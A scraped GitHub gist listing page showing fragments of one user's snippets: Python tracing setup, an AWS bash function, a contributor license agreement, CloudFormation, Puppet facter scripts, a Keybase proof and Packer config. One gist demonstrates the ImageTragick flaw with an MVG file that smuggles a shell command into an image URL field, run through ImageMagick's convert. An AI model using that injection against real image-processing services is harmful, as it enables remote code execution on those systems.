Skip to content

Instantly share code, notes, and snippets.

import time
from thundra.thundra_agent import Thundra
from thundra.plugins.trace.traceable import Traceable
THUNDRA_API_KEY = os.environ.get('THUNDRA_API_KEY', '')
thundra = Thundra(api_key=THUNDRA_API_KEY)
@Traceable(trace_args=True, trace_return_value=True)
def _action_a():
tmclaugh / .bashrc
Created January 30, 2018 20:50
goaws() bash function
goaws () {
export AWS_REGION='us-east-1'
# this will override the profile used by some tools so let's not set that
# even though it's standard.
export _SLS_STAGE=$(echo $AWS_DEFAULT_PROFILE | cut -s -d '-' -f 2)
export SLS_STAGE=${_SLS_STAGE:-prime}
tmclaugh /
Last active September 25, 2017 21:19

CloudZero Individual Contributor License Agreement

In order to clarify the intellectual property license granted with Contributions from any person or entity, CloudZero Inc. ("CloudZero") must have a Contributor License Agreement ("CLA") on file that has been signed by each Contributor, indicating agreement to the license terms below. This license is for your protection as a Contributor as well as the protection of CloudZero; it does not change your rights to use your own Contributions for any other purpose.

You accept and agree to the following terms and conditions for Your present and future Contributions submitted to CloudZero. Except for the license granted herein to CloudZero and recipients of software distributed by CloudZero, You reserve all right, title, and interest in and to Your Contributions.

  1. Definitions. "You" (or "Your") shall mean the copyright owner or legal entity authorized by the copyright owner that is making this Agreement with CloudZero. For legal entities, the entity making a Cont
Type: AWS::EC2::VPC
CidrBlock: ""
EnableDnsSupport: false
EnableDnsHostnames: false
- Key: Name
Value: ${self:service}-${self:provider.stage}
# This doesn't work for all regions but handles the vast majority. I hope

Keybase proof

I hereby claim:

  • I am tmclaugh on github.
  • I am tmclaugh ( on keybase.
  • I have a public key ASCtS7R9AqFYgumKTe_dcc83-C9b8sZr50OYRnGtkbKx0wo

To claim this, I am signing this object:

tmclaugh / gist:24da549ae14de11361137ca7d39aa03d
Created May 4, 2016 23:51
Remember to enable security for that added fuck you when exploiting ImageTragick
## ImageTragick with HTTPS URL results in code execution
vagrant@default-ubuntu-1404:~$ cat image-https.mvg
push graphic-context
viewbox 0 0 1 1 image over 0,0 0,0 '"; echo CODE EXECUTION"'
pop graphic-context
vagrant@default-ubuntu-1404:~$ convert image-https.mvg image-https.png
convert.im6: unable to open image `/tmp/magick-M70rA2Ky': No such file or directory @ error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-M70rA2Ky': No such file or directory @ error/constitute.c/ReadImage/583.
require 'facter'
require 'json'
if Facter.value("ec2_instance_id") != nil
instance_id = Facter.value("ec2_instance_id")
region = Facter.value("ec2_placement_availability_zone")[0..-2]
tags = Facter::Util::Resolution.exec("aws ec2 describe-tags --region #{region} --filters \"Name=resource-id,Values=#{instance_id}\" --query 'Tags[*].{value:Value,key:Key}'")
parsed_tags = JSON.parse(tags)
parsed_tags.each do |tag|
require 'facter'
require 'aws-sdk'
if Facter.value("ec2_instance_id") != nil
instance_id = Facter.value("ec2_instance_id")
region = Facter.value("ec2_placement_availability_zone")[0..-2]
ec2 =
instance = ec2.describe_instances(instance_ids:[instance_id])
tags = instance.reservations[0].instances[0].tags
tags.each do |tag|
pp_preshared_key: PUPPET_PSK
Puppet output:
Info: Creating a new SSL key for puppet.hubspot.local
Info: Caching certificate for ca
Info: csr_attributes file loading from /etc/puppet/csr_attributes.yaml
tmclaugh / gist:cc7488749dd78156824f
Last active August 29, 2015 14:09
Packer - Post-processors
"type" : "vagrant",
"output" : ""